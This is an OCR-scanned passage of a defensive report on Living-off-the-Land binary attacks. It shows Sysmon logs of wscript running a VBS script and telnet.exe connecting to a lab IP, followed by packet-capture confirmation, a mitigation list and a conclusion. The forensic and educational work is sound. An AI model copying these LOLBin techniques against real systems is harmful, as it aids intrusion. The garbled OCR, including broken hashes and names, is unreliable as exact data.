@Information 11/18/2023 9:38:17 PM Sysman 1 Process Create (rule:...

Event 1, Sysmon

General Details

Process Create:
RuleMame: -
UtcTime: 2023-11-18 18:38:17.335
ProcessGuid: {11afbb26-0495-6559-8601- 000000000200}
Processld: 4043
Image: C:\Windows\System32\wscript.exe |
[FEVersion: 3.812. 10240, 16368
Description: Micresoft ® Windows Based Script Host
Product: Microsoft @ Windows Script Host
Company: Microsoft Corporation

iginalFi scriptexe
CommandLine: wscript Sysmonfd.exeiAutovbs I
Currentlhrectory: Li\Users\AlhakamihDesktop [ools\Sysmon'Sysmaon',
User: DESKTOP-D19DJTA\AIhakami
LogenGuid: {11aftb26-fbac-6558-5042-040000000000}
Logonld: Ox44250
TerminalSessionld: 1
Intenritul erel Bedinm
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Microsoft-Windows-Sysmon%40perational

MNumber of events: 1,146

Level

Date and Time

Source

11/18/2023 9:38:17 PM

Sysmon

Event D Task Category

1 Process Create (rule...

@ Information
Py .

Event 1, Sysmon

General Details

Image: C:\Windows\System32\telnet.exe
FileVersion: 10.0.19041.1865 (WinBuild.160101.0800)
Description: Microsoft Telnet Client
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

gl i e telneto exe

| CommandLine: "C\Windows\System32\telnet.exe” 192.168.1.183 2628

User: DESKTOP-D19DITANAIhakami
LogonGuid: {11aféb26-fbac-6558-5042-040000000000}

Logonld: (x44250

TerminalSessionld: 1

IntegrityLevel: Medium

Hashes: MD5=18519E120DA235A95DD83AB72B07F383,5HA256
=B6C90748DCTDT71D304ATIAFD767EDFIE3CD4BESEBF025CBAZB0FCE4SEEDFD3Y, IMPHASH=903BE0A3T039TFDDCATTCT4F40B55E6E
ParentProcessGuid: {11af6b26-0499-6559-8601-000000000a00}

ParentProcessld: 4048

e Let’s verify the connection from network traffic

M Evidencepeap
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am2® BB ser=FoEEaaand

[ [tcp.port == 2628 || udp.port == 2628

No. Time Source Source Port Destination Destination Port Protocol Host

208549 2023-11-18 21:37:40.586614 192.168.1.6 192.168.1.183

Lengt Nam

208550 2823-11-18 21:37:40.586991 192.168.1.183 2628 192.163.1.6 49364 TCP 68
20552 2023-11-18 21:37:40.627885 192.168.1.6 49864 192.168.1.183 2628 TCP 54
28553 20823-11-18 21:37:48.628173 192.168.1.183 2828 192.168.1.6 49864 LAz (2]
28554 2823-11-18 21:37:48.688912 192.168.1.6 49864 192.168.1.183 2628 TCP 54

e Let’s check when exactally was the malicious payload executed by analyzing the prefetch

files.

V1. Mitigation Strategies

Mitigating LOLBin Threats

Defending against LOLBin attacks requires a multifaceted approach that combines both

preventive and detective measures. Here’s a comprehensive strategy to mitigate the risks posed

by LOLBins:

1. Application Whitelisting: Maintain a list of approved applications and binaries that are

allowed to run on your systems. This restricts the execution of unauthorized tools, making it

harder for attackers to utilize LOLBIns.
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2. Least Privilege Principle: Limit user and process privileges to only what’s necessary. By
doing so, even if an attacker leverages a LOLBIn, their access and potential damage are

restricted.

3. Monitoring and Analysis: Implement advanced monitoring tools that can detect anomalous

behavior. Keep an eye on processes that are using LOLBins in unexpected ways.

4. Behavioral Analytics: Employ behavioral analytics to identify patterns associated with
LOLBin misuse. This can help in spotting abnormal activities even if traditional signature-based

detection fails.

5. Regular Patching: Keep all system binaries and software up to date. Many LOLBin attacks

exploit known vulnerabilities, so patching them can prevent potential misuse.

6. Network Segmentation: Divide your network into segments with controlled access. This

limits lateral movement for attackers who manage to gain a foothold.

7. User Training: Educate employees about the risks associated with running unknown scripts or

tools. Teach them to be cautious when interacting with unexpected prompts or system requests.

8. Endpoint Protection: Invest in robust endpoint protection solutions that can detect and block

unauthorized activities, including LOLBin usage.

VII. Conclusion

¢ In conclusion, the report underscores the intricate challenges posed by Living-off-the-Land
(LotL) binaries, portraying them as a formidable weapon in an attacker's arsenal due to their
legitimate and inconspicuous nature. The delineation of a multi-stage attack scenario
highlights the nuanced tactics employed by threat actors, showcasing the difficulties in
identifying and thwarting such insidious assaults. However, the report doesn't merely expose
vulnerabilities; it presents a robust defense strategy encompassing application whitelisting,
behavioral analytics, and user education. It emphasizes the importance of proactive
measures and continual vigilance in fortifying defenses against LotL-based threats,

ultimately safeguarding organizational security in an ever-evolving threat landscape.
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